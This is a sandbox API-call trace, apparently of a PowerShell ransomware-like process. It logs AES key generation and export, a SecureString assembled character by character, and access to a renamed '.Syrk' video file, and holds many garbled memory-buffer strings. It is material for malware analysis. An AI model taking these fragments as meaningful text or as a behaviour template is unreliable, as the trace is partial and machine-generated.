[0257.969] EtwEventActivityIdControl () returned 0x0 [0257.969] EtwEventActivityIdControl () returned 0x0 [0257.969] EtwEventActivityIdControl () returned 0x0 [0257.972] EtwEventActivityIdControl () returned 0x0 [0257.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.973] EtwEventActivityIdControl () returned 0x0 [0257.973] EtwEventActivityIdControl () returned 0x0 [0257.973] EtwEventActivityIdControl () returned 0x0 [0257.976] EtwEventActivityIdControl () returned 0x0 [0257.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.977] EtwEventActivityIdControl () returned 0x0 [0257.977] EtwEventActivityIdControl () returned 0x0 [0257.977] EtwEventActivityIdControl () returned 0x0 [0257.980] EtwEventActivityIdControl () returned 0x0 [0257.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0257.987] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2552cc8 | out: lpFileInformation=0x2552cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x154c0390, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x154c0390, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x154e64f0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x1cb4)) returned 1 [0257.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0257.988] GetConsoleOutputCP () returned 0x1b5 [0257.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.988] GetConsoleOutputCP () returned 0x1b5 [0257.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.988] GetConsoleOutputCP () returned 0x1b5 [0257.988] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.989] GetConsoleOutputCP () returned 0x1b5 [0257.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.989] GetConsoleOutputCP () returned 0x1b5 [0257.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.989] GetConsoleOutputCP () returned 0x1b5 [0257.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.989] GetConsoleOutputCP () returned 0x1b5 [0257.989] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.989] GetConsoleOutputCP () returned 0x1b5 [0257.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.990] GetConsoleOutputCP () returned 0x1b5 [0257.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.990] GetConsoleOutputCP () returned 0x1b5 [0257.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.990] GetConsoleOutputCP () returned 0x1b5 [0257.990] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.990] GetConsoleOutputCP () returned 0x1b5 [0257.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.991] GetConsoleOutputCP () returned 0x1b5 [0257.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0257.991] GetConsoleOutputCP () returned 0x1b5 [0257.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0257.991] GetConsoleOutputCP () returned 0x1b5 [0257.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.991] GetConsoleOutputCP () returned 0x1b5 [0257.991] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0257.992] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0257.992] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.992] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x256c948*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x256c948*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0257.993] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0257.993] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0257.994] EtwEventActivityIdControl () returned 0x0 [0257.994] EtwEventActivityIdControl () returned 0x0 [0257.994] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.995] EtwEventActivityIdControl () returned 0x0 [0257.995] EtwEventActivityIdControl () returned 0x0 [0257.995] EtwEventActivityIdControl () returned 0x0 [0257.996] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.997] EtwEventActivityIdControl () returned 0x0 [0257.997] EtwEventActivityIdControl () returned 0x0 [0257.997] EtwEventActivityIdControl () returned 0x0 [0258.053] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0258.054] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0258.054] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0258.054] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0258.054] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x235f22c, pdwDataLen=0x5a2e8c4 | out: pbData=0x235f22c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0258.054] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0258.055] EtwEventActivityIdControl () returned 0x0 [0258.055] EtwEventActivityIdControl () returned 0x0 [0258.055] EtwEventActivityIdControl () returned 0x0 [0258.056] SysStringLen (param_1="") returned 0x8 [0258.056] SysStringLen (param_1="n") returned 0x8 [0258.056] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.056] SysStringLen (param_1="樔倉ᎃප¼繻ࣚ") returned 0x8 [0258.056] SysStringLen (param_1="樔倉ᎃප¼繻ࣚ") returned 0x8 [0258.056] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.056] SysStringLen (param_1="nE") returned 0x8 [0258.056] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.057] SysStringLen (param_1="ꭓ䵅\蓞쏎᳕烜⊟) returned 0x8 [0258.057] SysStringLen (param_1="ꭓ䵅\蓞쏎᳕烜⊟) returned 0x8 [0258.057] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.057] SysStringLen (param_1="nEK") returned 0x8 [0258.057] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.057] SysStringLen (param_1="ߝ띹១旈༶秇ﰌ뢼") returned 0x8 [0258.057] SysStringLen (param_1="ߝ띹១旈༶秇ﰌ뢼") returned 0x8 [0258.057] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.057] SysStringLen (param_1="nEKC") returned 0x8 [0258.057] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.057] SysStringLen (param_1="㺤嵤뚥ꙅ஺犃㞘") returned 0x8 [0258.057] SysStringLen (param_1="㺤嵤뚥ꙅ஺犃㞘") returned 0x8 [0258.057] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="nEKCZ") returned 0x8 [0258.058] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="힩୵냍◻⥳䲧燺ꢚ") returned 0x8 [0258.058] SysStringLen (param_1="힩୵냍◻⥳䲧燺ꢚ") returned 0x8 [0258.058] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="nEKCZv") returned 0x8 [0258.058] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="쭮⻓䵮⹛떇ヒ厨\⋘) returned 0x8 [0258.058] SysStringLen (param_1="쭮⻓䵮⹛떇ヒ厨\⋘) returned 0x8 [0258.058] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="nEKCZv5") returned 0x8 [0258.058] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.058] SysStringLen (param_1="䥕ა켾䊗鰵띌嵧紈") returned 0x8 [0258.058] SysStringLen (param_1="䥕ა켾䊗鰵띌嵧紈") returned 0x8 [0258.059] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.059] SysStringLen (param_1="nEKCZv5P") returned 0x8 [0258.059] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0258.059] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难") returned 0x8 [0258.059] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难") returned 0x8 [0258.059] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难") returned 0x8 [0258.060] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难") returned 0x10 [0258.060] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.060] SysStringLen (param_1="nEKCZv5PXಌ㚤묬瓑覉쇟宅") returned 0x10 [0258.060] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.060] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难鳸䧈꬚ᘽᏘ鞠ᆱꪰ") returned 0x10 [0258.060] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难鳸䧈꬚ᘽᏘ鞠ᆱꪰ") returned 0x10 [0258.060] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.060] SysStringLen (param_1="nEKCZv5PXS㚤묬瓑覉쇟宅") returned 0x10 [0258.060] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难娤虭䧼骝펳䈔뵦") returned 0x10 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难娤虭䧼骝펳䈔뵦") returned 0x10 [0258.061] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="nEKCZv5PXS/묬瓑覉쇟宅") returned 0x10 [0258.061] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难켓蓗굝솩ミ듦䟌") returned 0x10 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难켓蓗굝솩ミ듦䟌") returned 0x10 [0258.061] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="nEKCZv5PXS/D瓑覉쇟宅") returned 0x10 [0258.061] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难㫸鍋爼铀⺽\ퟤ≵) returned 0x10 [0258.061] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难㫸鍋爼铀⺽\ퟤ≵) returned 0x10 [0258.061] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.061] SysStringLen (param_1="nEKCZv5PXS/DS覉쇟宅") returned 0x10 [0258.062] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难ၐ죾Ł茺켎눛㮨") returned 0x10 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难ၐ죾Ł茺켎눛㮨") returned 0x10 [0258.062] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.062] SysStringLen (param_1="nEKCZv5PXS/DSs쇟宅") returned 0x10 [0258.062] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难ꕬ爋ᚚ튨銮췾ᙜ覞") returned 0x10 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难ꕬ爋ᚚ튨銮췾ᙜ覞") returned 0x10 [0258.062] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.062] SysStringLen (param_1="nEKCZv5PXS/DSsI宅") returned 0x10 [0258.062] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难蠴룆൹킍迶纶釛凲") returned 0x10 [0258.062] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难蠴룆൹킍迶纶釛凲") returned 0x10 [0258.062] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.063] SysStringLen (param_1="nEKCZv5PXS/DSsIR") returned 0x10 [0258.063] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0258.063] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠") returned 0x10 [0258.063] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠") returned 0x10 [0258.063] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠") returned 0x10 [0258.063] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠") returned 0x18 [0258.063] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.064] SysStringLen (param_1="nEKCZv5PXS/DSsIRD뒬\\췟\\ꯛ") returned 0x18 [0258.064] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.064] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠泩ፎ븙쓀뺾瞹") returned 0x18 [0258.064] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠泩ፎ븙쓀뺾瞹") returned 0x18 [0258.064] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.064] SysStringLen (param_1="nEKCZv5PXS/DSsIRDL뒬\\췟\\ꯛ") returned 0x18 [0258.064] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.064] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠랱鎴\臚률ອ∏) returned 0x18 [0258.064] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠랱鎴\臚률ອ∏) returned 0x18 [0258.064] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.064] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLA\\췟\\ꯛ") returned 0x18 [0258.064] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠┿ꬦ涟槳螵患ನ") returned 0x18 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠┿ꬦ涟槳螵患ನ") returned 0x18 [0258.065] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.065] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAY\\췟\\ꯛ") returned 0x18 [0258.065] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠ಙ稲䜖ᩚĽᔄ⮈") returned 0x18 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠ಙ稲䜖ᩚĽᔄ⮈") returned 0x18 [0258.065] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.065] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYU췟\\ꯛ") returned 0x18 [0258.065] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠萐뒯餹甭Œ컂ཬ㔈") returned 0x18 [0258.065] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠萐뒯餹甭Œ컂ཬ㔈") returned 0x18 [0258.065] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.066] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUr\\ꯛ") returned 0x18 [0258.066] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.066] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠骭薦跾ㄒ媳") returned 0x18 [0258.066] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠骭薦跾ㄒ媳") returned 0x18 [0258.066] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.066] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriꯛ") returned 0x18 [0258.066] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.066] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠⠰睺㳤㝩䊄괶⨲") returned 0x18 [0258.066] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠⠰睺㳤㝩䊄괶⨲") returned 0x18 [0258.066] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.066] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA") returned 0x18 [0258.066] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转≣) returned 0x18 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转≣) returned 0x18 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转≣) returned 0x18 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转≣) returned 0x20 [0258.067] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.067] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2篒갓沺\ﳚ칑⊮) returned 0x20 [0258.067] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转｣疶傊儁慌︺햂芠⊗) returned 0x20 [0258.067] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转｣疶傊儁慌︺햂芠⊗) returned 0x20 [0258.068] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.068] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2C갓沺\ﳚ칑⊮) returned 0x20 [0258.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.068] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转㕣ꛠ␕⯮␯ᾗင疁√) returned 0x20 [0258.068] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转㕣ꛠ␕⯮␯ᾗင疁√) returned 0x20 [0258.068] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.068] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2Ca沺\ﳚ칑⊮) returned 0x20 [0258.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.068] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转륣쿙헣浠쾕ꦬힰ⋸) returned 0x20 [0258.068] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转륣쿙헣浠쾕ꦬힰ⋸) returned 0x20 [0258.068] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.068] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaH\ﳚ칑⊮) returned 0x20 [0258.068] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转ᱣ彂\럚廢ﭸ忕") returned 0x20 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转ᱣ彂\럚廢ﭸ忕") returned 0x20 [0258.069] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.069] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHj\ﳚ칑⊮) returned 0x20 [0258.069] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转晣᜷㶂蜽\ߝ뾙") returned 0x20 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转晣᜷㶂蜽\ߝ뾙") returned 0x20 [0258.069] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.069] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjM凼껎") returned 0x20 [0258.069] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转董☱\雘ㆄ瞔\ל䭆⋢) returned 0x20 [0258.069] SysStringLen (param_1="瑈㐙䇍Ǣ＾㿶늬难叁큝쏅喂嘚箠ꭦ曠䍇\瓛㕺转董☱\雘ㆄ瞔\ל䭆⋢) returned 0x20 [0258.069] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0258.070] SysStringLen (param_1="nEKCZv5PXS/DSsIRDLAYUriA2CaHjMJ껎") returned 0x20 